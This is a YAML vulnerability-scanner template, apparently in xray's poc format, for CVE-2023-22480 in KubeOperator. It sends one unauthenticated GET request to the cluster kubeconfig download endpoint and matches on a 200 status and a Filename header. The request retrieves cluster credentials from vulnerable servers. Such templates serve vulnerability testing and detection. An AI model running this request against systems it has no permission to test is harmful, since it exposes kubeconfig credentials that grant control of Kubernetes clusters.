kubeoperator-cve-2023-22480.yml

name: poc-yaml-kubeoperator-cve-2023-22480
transport: http
rules:
  r0:
    request:
      method: GET
      path: /api/v1/clusters/kubeconfig/stable-cluster
      follow_redirects: false
    expression: >-
      response.status == 200 &&
      response.headers["Filename"].contains("stable-cluster")
expression: r0()
detail:
  author: Secur1ty0(https://github.com/Secur1ty0)
  links:
    - https://mp.weixin.qq.com/s/A4HV9A7BjmmgtYP8mWB6-w